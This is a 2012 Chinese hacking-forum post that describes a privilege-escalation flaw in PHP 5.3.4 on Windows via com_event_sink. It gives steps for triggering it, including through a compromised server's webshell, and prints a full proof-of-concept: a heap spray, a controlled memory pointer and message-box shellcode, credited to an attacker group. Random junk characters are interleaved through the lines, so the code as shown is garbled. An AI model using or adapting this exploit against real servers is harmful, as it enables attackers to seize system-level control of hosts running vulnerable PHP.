找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1980|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
+ S1 }, _/ v* O3 k" B
- W; `3 ~5 v& o( o1 \  ?测试方法如下:cmd /c x:\php\php.exe x:\test.php# T4 U+ o/ _* y; C  x. q7 n
2 E. E4 u1 s7 `9 O
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php9 {8 E; h# Z: Q+ r5 J
这里是两个测试的截图:
) ?" Z) ~! G$ t8 u7 p( U8 S0 i1 b3 w) R$ d) W7 |; U% l
* p9 ^' H  J/ y

. e# z" k. H! U  k+ r: `3 ^
$ C, C' e4 ]) |- R6 C
' Y, Z6 W" i: d7 w" E成功利用此漏洞的攻击者将获得系统的最高权限/ d0 H, d* o) m9 u3 P

! S2 I3 V/ Q- E6 e; `+ G
6 ^" G% A& E  ]8 x; O: A7 s, ~
6 a8 R6 F6 y! r  T* \7 v9 j
. u# V+ c! A  S9 N( S# R! ^/ z! s+ @& v4 Y# k' K
关于漏洞分析稍后附上。一下是PoC代码:
9 O% s+ h* K9 Z2 H/ V1 s7 J8 W# f; P) ]( q9 H/ h8 q; q
<?php
& V0 w4 E& b3 O" Q3 g$ A//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
3 `. u5 W$ V* Z( h//$eip ="\x44\x43\x42\x41";" J. S" q+ J/ p
$eip= "\x4b\xe8\x57\x78";
4 Y2 I5 Q  k; k1 o$ |$eax ="\x80\x01\x8d\x04";9 H% g1 M& Q0 {2 Z
$deodrant="";/ v& G+ c/ ^3 j/ L4 e1 u
$axespray = str_repeat($eip.$eax,0x80);
# b. a8 @* T, _& T3 F: ~9 |* D" L//048d0190  \1 H+ {& \1 b% U5 h9 w
echo strlen($axespray);
5 Y/ {& X' W' }echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";: f* u( B+ b/ j* t! t' u1 i
echo "Silic Group Hacker Army - BlackBap.Org";
( m$ c; S  }1 t# F# A//19200 ==4B32 4b00- H3 O( H9 ?2 p+ B
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
2 U4 H+ K; w$ j! X; O% b8 a5 D$terminate = "T";& a1 D3 K8 i" e+ }
$u[] =$deodrant;! p# U, ~# x" Y" M, d& \( x
$r[] =$deodrant.$terminate;4 \: i* k  D' M- B" g  n
$a[] =$deodrant.$terminate;
9 H( Q3 I2 J3 C7 m2 P) I) C$s[] =$deodrant.$terminate;
; ~5 u* x* B  D! P+ [//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的) w4 F+ g: P  P7 i& M2 m8 f5 A
$vVar = new VARIANT(0x048d0000+180);& m! R0 ]  S! n; N% R- w
//弹窗代码(Shellcode)
' X( [4 J+ @' u: ~$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";. `" _9 A. o5 T
$var2 = new VARIANT(0x41414242);
# R# o1 @  ~! f; e, Ccom_event_sink($vVar,$var2,$buffer);
  V9 Q5 g" E3 X0 l9 |, M) O?>- z: D7 Z2 B0 f

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表